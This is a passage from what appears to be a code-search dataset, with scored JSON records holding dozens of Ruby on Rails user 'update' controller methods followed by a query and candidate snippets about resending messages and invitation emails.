"title": ""
},
{
"docid": "9701fa7622582362b473432231ef2840",
"score": "0.6621955",
"text": "def update\n\t\tuser = find_user\n\t\tuser.update(user_params)\n\t\trender json: user\n\tend",
"title": ""
},
{
"docid": "d93b3aa6659ae62851c0e2c5b2aff72c",
"score": "0.66203624",
"text": "def update\n @user_1 = User1.find(params[:id])\n\n respond_to do |format|\n if @user_1.update_attributes(params[:user_1])\n format.html { redirect_to @user_1, notice: 'User 1 was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_1.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d8054e3c41b8df3c2ec3d070c63961f3",
"score": "0.661618",
"text": "def update\n puts params[:id]\n user = User.find(params[:id])\n user.update(name: params[:name], email: params[:email])\n render json: {success: \"Successful updating\"}\n end",
"title": ""
},
{
"docid": "d190f524c5924d87588ecb666cbf5cc4",
"score": "0.6612572",
"text": "def update\n @user = User.find(params[:id])\n \n if @user.update(user_params)\n render json: @user, status: :ok \n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "691e3bde861cbda7d0bb533fcbb31672",
"score": "0.66072077",
"text": "def update\n user = User.find(params[:id])\n if user.update(params_user)\n render json: user, status: 200\n else\n render json: user.errors, status: 422\n end\n\n end",
"title": ""
},
{
"docid": "2963118f3ea04813a21d6d6a6bf0d05f",
"score": "0.6604428",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update(user_update_params)\n format.json { render json: @user, status: :ok }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "52120d456f84e9bcd29d003142e95e92",
"score": "0.6603892",
"text": "def update\n user = User.find(params[:id])\n if user.update(user_params)\n render json: user, status: :ok\n else\n render json: { errors: user.errors }, status: 422\n end\n end",
"title": ""
},
{
"docid": "f2f8c20b7eef84bb400714fdc59a8b0e",
"score": "0.6590489",
"text": "def update\n @user = User.find(params[:id])\n\n if @user.update_attributes(params[:User])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "224d657a0871919d0f25b180f9c2446d",
"score": "0.6590315",
"text": "def update\n respond_with User.update(params[:id], params[:user])\n end",
"title": ""
},
{
"docid": "ef86e31e230f2cf2499d83448f680ebc",
"score": "0.65813994",
"text": "def update\n respond_with User.update(params[:id],params[:user])\n end",
"title": ""
},
{
"docid": "85554d9b1b0279f5b254674ca18b848d",
"score": "0.6568529",
"text": "def update\n user = current_user\n\n if user.update(user_params)\n render json: user, status: 200, location: [:api, user]\n else\n render json: { errors: user.errors }, status: 422\n end\n end",
"title": ""
},
{
"docid": "67afc5f4539aa0577fa25e1ee5778898",
"score": "0.6566248",
"text": "def update\n @user = current_user\n respond_to do |format|\n puts \"1\"\n if @user.update_attributes(JSON.parse(params[:user]))\n puts \"2\" \n #format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { render json: {:user=>Api::V3::UsersPresenter.new().as_json(@user), :success=>true}, location: @user }\n else\n puts \"3\"\n #format.html { render action: \"edit\" }\n format.json { render json: {:error=>@user.errors}, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fbdfe5c2d8dc0cf9b6a2bc65f049e93",
"score": "0.65642655",
"text": "def update\n @user = User.find(params[:id])\n @user.update_attributes(params[:user])\n respond_to do |format|\n format.html\n format.js\n format.json { render :json => @users }\n end\n end",
"title": ""
},
{
"docid": "e81343b0e51f5be5257d1da040d9178e",
"score": "0.6560359",
"text": "def update\n # update the user\n api_client.update_user(params[:id], user_params)\n\n # update custom attributes\n api_client.set_custom_attribute_to_user(params[:id], custom_user_params)\n\n respond_to do |format|\n unless api_client.error\n format.html { redirect_to user_path(params[:id]), notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b5edb8a9b2cad14c7874c5f42c5809e9",
"score": "0.6560053",
"text": "def test_put_user\n json_data = '{\"name\":\"test\", \"last_name\":\"test\", \"document\" : \"098\"}'\n put '/users/4', json_data\n assert_equal 204, last_response.status, 'Código de respuesta incorrecto'\n end",
"title": ""
},
{
"docid": "2dc50f32a6a1be907e61d6655f19f1ba",
"score": "0.6559739",
"text": "def update\n user = User.find(params[:id])\n user.update(user_params)\n if user.valid?\n render json: user\n else\n render json: user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "018e1818e03cc3d12f1b20effb2bc0a8",
"score": "0.6558729",
"text": "def update\n if @user.update(user_params)\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "018e1818e03cc3d12f1b20effb2bc0a8",
"score": "0.6558729",
"text": "def update\n if @user.update(user_params)\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "018e1818e03cc3d12f1b20effb2bc0a8",
"score": "0.6558729",
"text": "def update\n if @user.update(user_params)\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "d0a9ca650949efc2e171cbc48421587b",
"score": "0.6553372",
"text": "def update\n update_user(users_path)\n end",
"title": ""
},
{
"docid": "bb6685f93098d590da8a15e2e3160b60",
"score": "0.65517616",
"text": "def update\n user = current_user\n if user.update(user_params)\n render json: user, status: 200\n else\n render json: { errors: user.errors }, status: 422\n end\n end",
"title": ""
},
{
"docid": "999ac837f35b530d4bd762c41f60ff19",
"score": "0.65517396",
"text": "def update\n if @user.update(user_params)\n render json: @user\n else\n render json: @user.errors.full_messages, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "ee5a6d46ae0ee543c53228f424ad8451",
"score": "0.65503615",
"text": "def update\n respond_to do |format|\n if @user.update(user_params)\n format.json { render json: @user, status: :ok }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6e330994c9e2d5c3f2ffe71077b0f26b",
"score": "0.65429246",
"text": "def update\n params.permit!\n @user = User.find(params[:id])\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User #{@user.name} was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d25a98492709b07b6951f4fdabc78603",
"score": "0.65413886",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(users_url, notice: \"User #{@user.name} was successfully updated.\") }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "257b82e17e5b1f88db9df740805e6185",
"score": "0.6540664",
"text": "def update\n if @user.update(user_params)\n render json: @user\n else\n render json: { status: 400, msg: 'Something went wrong' }\n end\n end",
"title": ""
},
{
"docid": "ccf9ed09d600e760d6f263e0380c88ca",
"score": "0.6540575",
"text": "def update\n update_resource(@user)\n end",
"title": ""
},
{
"docid": "ccf9ed09d600e760d6f263e0380c88ca",
"score": "0.6540575",
"text": "def update\n update_resource(@user)\n end",
"title": ""
},
{
"docid": "29ffafd0a884c0baaf0c44106d79b94e",
"score": "0.6533002",
"text": "def update\n if @user.update(user_params)\n render json: @user \n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "7b27015c5775023de1161dea2fca6f0c",
"score": "0.6532386",
"text": "def update\n\t\tunless api_key_is_valid?\n\t\t\treturn render json: 'Invalid API key.', status: 401\n\t\tend\n\n\t\tuser = User.find(params[:id])\n\n\t\tsaved = false\n\t\tif user.present?\n\t\t\tparams[:fields].each do |k, v|\n\t\t\t\tbegin\n\t\t\t\t\tif user.update(\"#{k}\" => \"#{v}\")\n\t\t\t\t\t\tsaved = true\n\t\t\t\t\telse\n\t\t\t\t\t\treturn render json: user.errors, status: 500\n\t\t\t\t\tend\n\t\t\t\trescue ActiveRecord::UnknownAttributeError\n\t\t\t\t\treturn render json: \"User has no attribute #{k}.\", status: 400\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\treturn render json: 'User not found.', status: 404\n\t\tend\n\n\t\tif saved\n\t\t\treturn render json: 'Changes saved.', status: 200\n\t\tend\n\tend",
"title": ""
},
{
"docid": "a0d52b546f97d92c94f2906309376f8b",
"score": "0.65299183",
"text": "def update\n if @user.update(user_params)\n render json: @user\n else\n render json: { errors: @user.errors.full_messages }, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "ca5a9b4918333eb8cfd2505d5f1391c4",
"score": "0.65277994",
"text": "def update\n @user = User.find(params[:id])\n if current_user != @user\n respond_to do |format|\n format.json { render json: {}, status: :forbidden }\n end\n return\n end\n @user.update!(user_params)\n respond_to do |format|\n format.json { render json: @user }\n end\n end",
"title": ""
},
{
"docid": "80e7b0afa5cc4038fef85a7d7967666c",
"score": "0.65268004",
"text": "def update\n @user = User.find(params[:id])\n\t\n if @user.update(user_params(params[:user]))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "f2311cf292680016035c4213cc419c6d",
"score": "0.6522218",
"text": "def update_user(id, options)\n patch(\"/users/#{id}\", options)\n end",
"title": ""
},
{
"docid": "f372faa6dbb1d6bc23f764dc3d392f5f",
"score": "0.6515992",
"text": "def update\n @user = User.find(params[:id])\n\n if @user.update(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "d002d44210be9632166f45081da464a5",
"score": "0.65126956",
"text": "def update\n @user.update(user_params)\n if @user.errors.any? \n render json: @user.errors, status: :unprocessable_entity\n else \n render json: @user, status: 201\n end \n end",
"title": ""
},
{
"docid": "4ca1914328cc71b605f6951f6b137fb1",
"score": "0.65093964",
"text": "def update\n @user = User.find(params[:id])\n @user.update_attributes(params[:user])\n respond_with @user\nend",
"title": ""
},
{
"docid": "66240190834ac643f4d2e903b4a1f268",
"score": "0.6509221",
"text": "def update\n respond_to do |format|\n\n\n if @user.update(user_params)\n format.html { redirect_to users_path }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "45243d79e4275cc253be6a5d7415542e",
"score": "0.65079975",
"text": "def update\n @user1 = User1.find(params[:id])\n\n respond_to do |format|\n if @user1.update_attributes(params[:user1])\n format.html { redirect_to @user1, notice: 'User1 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user1.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cd5963d908b40b1b87884d30b85d7a1e",
"score": "0.6507564",
"text": "def update\n user = current_user\n if user.update(user_params)\n render json: user, status: 200, location: [:api, user]\n else\n failed_to_update(user, \"user\")\n end\n end",
"title": ""
},
{
"docid": "f40637d728484ec41ef659e304a15a44",
"score": "0.65064245",
"text": "def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params[:user]))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "f40637d728484ec41ef659e304a15a44",
"score": "0.65064245",
"text": "def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params[:user]))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "748ea080c08e00cbdc2f345f8393af81",
"score": "0.65055585",
"text": "def update\n @user = User.find(params[:id])\n @user.update_attributes(params[:user])\n respond_with @user\n end",
"title": ""
},
{
"docid": "adfff4175048d9c7f39b404371ccdaa6",
"score": "0.6493845",
"text": "def update\n @user = User.friendly.find(params[:id])\n # render json: @user\n # render json: params\n # render json: user_params\n # render json: params['user']\n\n respond_to do |format|\n if @user.update(user_params)\n @user.name = \"#{@user.first_name} #{@user.last_name}\"\n @user.slug = nil\n @user.save!\n format.html { redirect_to user_path(@user), notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "488fbded3c7b2d58be882d2aa457befb",
"score": "0.64929926",
"text": "def update\n @user = User.find(params[:id])\n @user.name= params[:user][:name]\n @user.email = params[:user][:email]\n \n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { render :json => @user }\n end\n\n end",
"title": ""
},
{
"docid": "c77c61632e7a5655fa8215c4d35a24f0",
"score": "0.6488913",
"text": "def update\n @user = User.find_by_name(params[:id])\n @user.update_attributes(params[:user])\n \n respond_with @user, :stautus => :ok\n end",
"title": ""
},
{
"docid": "302fd13d7fd5b632d7924e0c6a21e2fd",
"score": "0.6487592",
"text": "def update_user(options)\n patch \"user\", options\n end",
"title": ""
},
{
"docid": "0c6476ef6a283ef342d6514756380eec",
"score": "0.6480838",
"text": "def edit\n user = User.find(params[:id])\n render json: user, only: [:username, :name, :location, :bio, :resource_request, :skills, :seeking, :preferred_contact], status: 200\n end",
"title": ""
},
{
"docid": "807151b4b1dc86c0466dabbb2f6b2986",
"score": "0.6474671",
"text": "def update\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to users_path }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0c20e6139df1707ae18d5e5c8b3c7033",
"score": "0.64696",
"text": "def update\n user = User.find(params[:auth][:uid]) if params.has_key?(:auth)\n user = current_user if current_user\n\n respond_to do |format|\n if user && user.update_with_params(params[:user])\n format.html { redirect_to user, notice: 'User updated.' }\n format.json do \n if params.has_key?(:v) && params[:v].to_f >= 2.0\n render json: user\n else\n render json: { user: user }\n end\n end\n else\n format.html { render action: \"edit\" }\n format.json { render json: user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "104cbd2d12f682ecee2b34caa4135ba4",
"score": "0.64650965",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(users_url, notice: \"User #{@user.username} was successfully updated.\") }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "77dc518adf976c10fd53e7c05b8ddcac",
"score": "0.64643776",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "96d6039ed862a309382ea5a83efcec51",
"score": "0.64637524",
"text": "def update\n respond_to do |format|\n if @user.update(user_params)\n format.json { render @user, status: :ok, location: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0c5a0b20e34a514cfd2174f4e4a702e9",
"score": "0.6460145",
"text": "def update\n @user = User.find(params[:id])\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_path, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ca334319ebfe0313bcbdc205e5dbf52",
"score": "0.64599854",
"text": "def update\n @user = User.(params[:id])\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User #{@user.name} was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c5694c8d217cc016ffb3ea0daa9befc5",
"score": "0.6457576",
"text": "def update( params={ })\n normalize! params\n filter! DEFAULT_USER_OPTIONS, params\n\n put_request(\"/1.0/user\", DEFAULT_USER_OPTIONS.merge(params))\n\n end",
"title": ""
},
{
"docid": "e987d5794882412b52deac114f439a55",
"score": "0.6455222",
"text": "def update\n # only change password\n # needs to be improved\n if @user.update_attributes(params[:user])\n respond_with(@user, only: [:id, :email, :first_name, :last_name])\n else\n render_error(404, request.path, 20005, \"Failed to update profile\")\n end\n end",
"title": ""
},
{
"docid": "7200012410b8baedd92126f2e65bbbf0",
"score": "0.645352",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_path, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7200012410b8baedd92126f2e65bbbf0",
"score": "0.645352",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_path, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "60706fab7b5976d6dff187d4a935b4b7",
"score": "0.6445832",
"text": "def update\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_path, :notice => 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b3d5a2b6aa59d6b7e2095f563f52e52b",
"score": "0.64455783",
"text": "def update\n @user = User.find(params[:id])\n \n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_path, :notice => 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fc0f39f918df73dd51cfeaa86b3a4b50",
"score": "0.6432723",
"text": "def update\n # retrieve user data from request (params)\n email = params[:email]\n\n # query DB for the specific user \n user = User.where(:email => email)\n\n @user = user.update(user_params) #update the user \n json_response(@user) # return created user, to signify that the user was updated\n end",
"title": ""
},
{
"docid": "6583af00c9399d5f20be0f96f43e0b79",
"score": "0.64325684",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_path, notice: 'User was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d178facf1848fa3573fdb9fc32e78bda",
"score": "0.6429538",
"text": "def update\n @user = User.where(id: params[:id]).first\n if @user.blank?\n render nothing: true, status: :not_found\n else\n @user.update_attributes(params.require(:user).permit(:email, :name))\n respond_with(@user)\n end\n end",
"title": ""
},
{
"docid": "47f1b8bbb51dc45ffacf38d5030fd63d",
"score": "0.642712",
"text": "def update\n user = User.find_by!(id: params[:id])\n if user \n user.name = params[:name]\n user.surname = params[:surname]\n user.role_id = params[:role_id]\n user.phone = params[:phone]\n user.job = params[:job]\n user.email = params[:email]\n user.adress = params[:adress]\n user.confirmed = params[:confirmed]\n user.save\n render json: user, status: 200 \n else\n render json: { errors: \"This link is invalid.\"}, status: 404\n end\n end",
"title": ""
},
{
"docid": "0b9c1bef7f401fa06802170d53d4d7b9",
"score": "0.6424738",
"text": "def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "0b9c1bef7f401fa06802170d53d4d7b9",
"score": "0.6424738",
"text": "def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "0b9c1bef7f401fa06802170d53d4d7b9",
"score": "0.6424738",
"text": "def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "0b9c1bef7f401fa06802170d53d4d7b9",
"score": "0.6424738",
"text": "def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "0b9c1bef7f401fa06802170d53d4d7b9",
"score": "0.6424738",
"text": "def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "8b66794bad0b225767640e65afead74b",
"score": "0.6420228",
"text": "def update\n \tif @user.update(user_params)\n \t\trespond_with @user\n \telse\n \t\trespond_using @user, :edit\n end\n end",
"title": ""
},
{
"docid": "f2232536d3cf1f3f02bc5b90475f4ef0",
"score": "0.6418132",
"text": "def update\n authorize @user\n\n if @user.update(user_params)\n render json: { status: :ok, user: @user }\n else\n render json: { errors: @user.errors, status: :unprocessable_entity }\n end\n end",
"title": ""
},
{
"docid": "e3d6cb8e35fe44e9d2a8d7515d67121b",
"score": "0.640827",
"text": "def update_user(user_id, opts={})\n\trequest_type = \"PATCH\"\n\turl = \"user/#{user_id}\"\n\tdata = {}\n\tdata[:email] = opts[:email] unless opts[:email].blank?\n\tdata[:test_mode] = opts[:test_mode] unless opts[:test_mode].blank?\n\tdata[:language] = opts[:language] unless opts[:language].blank?\n\tcontent = data.to_json\n\thash = create_hmac(request_type, url, content)\n\tresponse = http_send(request_type, url, hash, content)\nend",
"title": ""
},
{
"docid": "67f08b8d6f982f4805b13cd8d6b1e2c1",
"score": "0.6405543",
"text": "def update\n @user.name = params[:user][:name]\n @user.email = params[:user][:email].downcase\n @user.nickname = params[:user][:nickname]\n\n respond_to do |format|\n if @user.update\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f97b9af2d44b331cfb3d2025b2c29702",
"score": "0.640509",
"text": "def update\n @user = User.find(params[:id])\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "c54a2b6c1d4b8ac5c8b393c83bf8043f",
"score": "0.64046705",
"text": "def update\n @user = User.get(params[:id])\n \n respond_to do |format|\n if @user.update(params[:user])\n format.json { render :json => @user.to_json, :status => 200 }\n format.xml { head :ok }\n format.html { redirect_to @user, :notice => 'User was successfully updated.' }\n else\n format.json { render :text => \"Could not update user\", :status => :unprocessable_entity } \n format.xml { head :ok }\n format.html { render :action => :new, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b8dcd2491b197c0c62a8f6716a37c05a",
"score": "0.6399658",
"text": "def update\n # Atualiza as informações o usuário\n \tif @user.update(users_params) \n \t\trender json: :success, status: 200\n \telse\n \t\trender json: @user.errors, status: :unprocessable_entity\n \tend\n end",
"title": ""
},
{
"docid": "3c23c76ca3b13eb13ffea56bd5be1156",
"score": "0.63981587",
"text": "def update\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_path, flash: { success: \"User '#{@user.name}' was successfully updated.\" } }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8a4badd6a01a0bcfec7ca6e8d84e14bf",
"score": "0.6397872",
"text": "def update\n\t\tuser_id = params[:id]\n\t\t@user = User.find(user_id)\n\t\tif @user.update(user_params)\n\t\t\trender json: @user\n\t\telse\n\t\t\trender json: {\n\t\t\t\terror: {\n\t\t\t\t\tmessage: @user.errors.full_messages.to_sentence\n\t\t\t\t}\n\t\t\t}\n\t\tend\n end",
"title": ""
}
] |
f29146348746a2abbd7e959b5c72c1c2
|
Responds to `POST /messages/:id/resend`.
|
[
{
"docid": "709dbc64872956e124baa73112ee2aff",
"score": "0.7635157",
"text": "def resend\n @message.resend\n rescue => e\n flash['error'] = \"#{e}\"\n else\n toast!(title: \"Message resent\",\n message: \"Message ##{@message.id} has been resent.\")\n ensure\n redirect_back fallback_location: messages_path\n end",
"title": ""
}
] |
[
{
"docid": "3f23ec1304199f2362272b7b38a18136",
"score": "0.6809612",
"text": "def resend_email\n id = params[:data]\n @user = User.find(id)\n respond_to do |format|\n if @user.send_confirmation_instructions\n format.text { render text: \"Email has been sent out!\" }\n end\n end\n end",
"title": ""
},
{
"docid": "22236132b18e9acc33995eb93aa2a4ea",
"score": "0.67313915",
"text": "def resend\n @invitation = Invitation.with_token!(params[:id])\n InvitationMailer.delay.invitation_email(@invitation)\n\n redirect_back(\n fallback_location: root_path,\n notice: t('organization_invitations.resend', email: @invitation.email)\n )\n end",
"title": ""
},
{
"docid": "03673600b61291208fcc00e1071dbacd",
"score": "0.6639618",
"text": "def resend_confirmation_email\n response = @user.resend_confirmation_email\n if response[\"error\"]\n error(response[\"error_description\"])\n else\n message(\"Confirmation Email Sent!\")\n end\n redirect_to(\"/user/view/#{@user.id}\")\n end",
"title": ""
},
{
"docid": "a2e883c222c11b1e4e52d739ecd9f785",
"score": "0.65710646",
"text": "def resend_email\n @secret_santa = SecretSanta.find(params[:secret_santum_id])\n @secret_santa_participant = @secret_santa.secret_santa_participants.find(params[:secret_santa_participant_id])\n @secret_santa_participant_match = @secret_santa_participant.secret_santa_participant_match\n respond_to do |format|\n if SecretSantaService.new(@secret_santa).resend_email(match: @secret_santa_participant_match)\n flash[:success] = \"Successfully resent email to #{@secret_santa_participant.name}\"\n else\n flash[:error] = \"Failed to resend email to #{@secret_santa_participant.name}. Please try again.\"\n end\n format.html { redirect_to match_secret_santum_path(@secret_santa) }\n end\n end",
"title": ""
},
{
"docid": "2cf042a5bffaae138d23c59ff9cef6c7",
"score": "0.62193036",
"text": "def resend\n tmail = Mailer.deliver_fee(@user, 'proposal', Setting.template_fee_proposal)\n respond_to do |format|\n format.html { redirect_to :controller => 'users', :action => 'edit', :id => @user, :tab => 'abbonamento' }\n format.js { render(:update) {|page| page.replace_html \"resend_result\", tmail.body} }\n end\n end",
"title": ""
},
{
"docid": "7c1169f8ada073f6859d740099561402",
"score": "0.62071395",
"text": "def resend_invitation_email\n send_invitation_email\n end",
"title": ""
},
{
"docid": "0c13812bdab6417df439d0bf020b5d3b",
"score": "0.62035817",
"text": "def resend_email\n @invitee.send_approval_email\n rescue => e\n flash['error'] = \"#{e}\"\n redirect_back fallback_location: invitees_path\n else\n toast!(title: \"Email re-sent\",\n message: \"An email has been sent to #{@invitee.email}.\")\n redirect_to invitees_path\n end",
"title": ""
},
{
"docid": "220dbce2bbeef62d2b63f37c668ed81c",
"score": "0.6168982",
"text": "def resend_and_cancel_payments\n payment = Payment.find_by_id(params[:id])\n if params[:resend] == true\n template = NotificationTemplate.where(category: I18n.t('Notification.payment')).last\n Notification.create(recipient: payment.user, actor: payment.user, action: 'Payment', notifiable: payment, notification_template: template)\n # mail to confirm user\n UserMailer.delay.payment_mail(payment, I18n.t('Email.payment_user'), 'User')\n else\n payment.update(status: \"failed\")\n UserMailer.delay.resend_cancel_email(payment, \"Payment-due-cancel\")\n end\n end",
"title": ""
},
{
"docid": "619ddde0e5a07f57e55e4d8b12b791ed",
"score": "0.6142628",
"text": "def invite_resend(email)\n _params = {:email => email}\n return @master.call 'users/invite-resend', _params\n end",
"title": ""
},
{
"docid": "e0060e4bbfdd01c9db764943549512e5",
"score": "0.6142523",
"text": "def resend_email\n return unless (user = find_or_goto_index(User, params[:id]))\n\n QueuedEmail::VerifyAccount.create_email(user)\n self.class.notify_root_of_verification_email(user)\n flash_notice(:runtime_reverify_sent.tp + :email_spam_notice.tp)\n redirect_back_or_default(account_welcome_path)\n end",
"title": ""
},
{
"docid": "43b9c8a8bbf0cf1299b410c0997ffb18",
"score": "0.61325663",
"text": "def invitation_resend(account_id, id)\n path = sprintf(\"/api/v2/accounts/%s/invitations/%s/resend\", account_id, id)\n data_hash = {}\n post_body = nil\n \n reqHelper = PhraseApp::ParamsHelpers::BodyTypeHelper.new(data_hash, post_body)\n rc, err = PhraseApp.send_request(@credentials, \"POST\", path, reqHelper.ctype, reqHelper.body, 200)\n if err != nil\n return nil, err\n end\n \n return PhraseApp::ResponseObjects::Invitation.new(JSON.load(rc.body)), err\n end",
"title": ""
},
{
"docid": "025dad13df333ce2bf813d742378028f",
"score": "0.6038308",
"text": "def project_invitation_resend(project_id, id, query={})\n perform_put(\"/api/1/projects/#{project_id}/invitations/#{id}/resend\", :query => query)\n end",
"title": ""
},
{
"docid": "cbbcc73ef7cc65ec56898363305bfda0",
"score": "0.5845153",
"text": "def resend_email_confirmation\n email = user_params[:email].downcase \n @user = User.find_by(email: email)\n\n # Send a failure response if no account exists with the given email\n unless @user.present?\n render(fail_response(message: \"User #{email} does not exist\")) and return\n end\n\n @user.send_api_v2_email_confirmation_instructions\n\n render(success_response(message: \"Email confirmation sent to#{email}.\"))\n\n end",
"title": ""
},
{
"docid": "1c3a66982efdeec8c40ad810841c70ef",
"score": "0.5810421",
"text": "def resend_email_address_verification_code\n broadcast('@type' => 'resendEmailAddressVerificationCode')\n end",
"title": ""
},
{
"docid": "52d1c5a3beff59606e6e2d41724ba890",
"score": "0.5807889",
